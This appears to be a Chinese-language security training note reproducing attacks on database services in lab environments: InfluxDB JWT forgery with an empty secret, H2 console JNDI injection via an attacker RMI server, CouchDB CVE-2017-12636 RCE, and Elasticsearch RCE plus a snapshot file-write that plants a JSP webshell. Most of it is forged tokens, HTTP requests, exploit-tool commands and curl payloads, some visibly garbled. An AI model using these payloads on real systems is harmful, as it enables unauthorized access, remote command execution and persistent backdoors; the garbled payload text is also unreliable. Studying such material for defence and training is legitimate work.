网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)

第56天 服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现

网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)_第1张图片

知识点:

1、服务攻防数据库类型安全
2、influxdb,.未授权访问wt验证
3、H2 database-未授权访问-配置不当
4、CouchDB-权限绕过配合RCE-漏洞
5、ElasticSearch-文件写入&RCE-漏洞
#章节内容:
常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制特定安全漏洞
3、安全机制弱口令爆破攻击

#前置知识:
应用服务安全测试流程:见图
1、判断服务开放情况端口扫描&组合应用等
2、判折服务类型归属数据库&文件传输&通讯等
3、判折服务利用方式特定漏洞&未授权&弱口令等
网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)_第2张图片

演示案例:

Influxdb-未授权访问-Jwt验证不当
H2database-未授权访问-配置不当
CouchDB-权限绕过配合RCE-漏洞
ElasticSearch-文件写入&RCE-漏洞

#nfluxdb-未授权访问-Jwt验证不当
默认端☐:8086,8088
influxdb是一款菩名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设
置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户
身份在influxdb中执行SQL语句,
1、使用 https://jwt.io/ 生成一个带有空密钥的有效 JWT 令牌:

{
alg":"HS256",
"typ":"JWT"
}
{
"usemame":"admin",
"exp":1676346267
}

其中是管理员帐户名称,是令牌过期时间。您应该设置为将来的时间以使其生效:usernameexpexp
网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)_第3张图片
然后把这个令牌带到请求中,并成功在服务器中执行SQL语句:show users

POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

db=sample&q=show+users

网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)_第4张图片
#H2 database-未授权访问-配置不当
默认端口:20051
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页
面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问Wb管理页面,且
没有鉴权:默认端口:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JND注入攻击,进而在目标环境下执行任意命令。
管理页面默认为。http://your-ip:8080http://your-ip:8080/h2-console/
1、下载JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit
2、生成执行RMI Payload-URL
-C执行命令-A服务器地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C touch /tmp/success -A 47.94.236.117
网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)_第5张图片
在攻击机运行poc,执行后攻击机会监听8180、1099、1389端口
网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)_第6张图片
javax.naming.InitialContext是 JNDI 工厂类名,URL 是恶意的 RMI 地址。rmi://evil:23456/BypassByEL
攻击机的 RMI 服务器收到以下请求:
网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)_第7张图片
touch /tmp/success已成功执行:
网络安全全栈培训笔记(56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现)_第8张图片

#CouchDB-权限绕过RCE-CVE-2017-12636
1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

#ElasticSearch-文件写入&RCE漏洞
默认端口:92009300
Elasticsearch RCE CVE-2014-3120
1、漏洞需要s中至少存在一条数据,所以我们需要先创建一条数据

POST /website/blog/HTTP/1.1
Host:your-ip:9200
Accept:*/
Accept-Language:en
User-Agent:Mozilla/5.0 (compatible;MSIE 9.0:Windows NT 6.1;Win64:x64:Trident/5.0)
Connection:close
Content-Type:application/x-www-form-urlencoded
Content-Length:25
{
"name":"xiaodi"
}

2、直接发包触发执行命令

Elasticsearch文件写入wooyun2015110216
9200一股为ElasticSearch的常用端口,此漏洞环境需要与中间件使用
1、发现9200端口存在elasti-search页面,8080存在tomcat目录
2、利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/

curl -XPOST http://123.58.236.76:31556/yz.jsp/yz jsp/1-d'
["<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte【】
{47,116,101,115,116,46,106,115,112)》,new String(new byte【】
(114,119))).write(request.getParameter(new String(new byte[(102))).getBytes();
%>"-"test"
curl -XPUT 'http://123.58.236.76:31556/snapshot/yz.jsp'-d'
"type"."fs",
"settings":{
"location":"/usr/local/tomcat/webapps/wwwroot/",
"compress":false
}
}

3.、访问8080端口snapshot–yz jspi文件写入代码到test jsp中
http://123.58.236.76:31557/wwwroot/indices/yz.jsp/snapshot-yz jsp?f=success
http://123.58.236.76:31557/wwwroot/test.jsp

你可能感兴趣的:(网络安全全栈学习笔记,web安全,笔记,elasticsearch)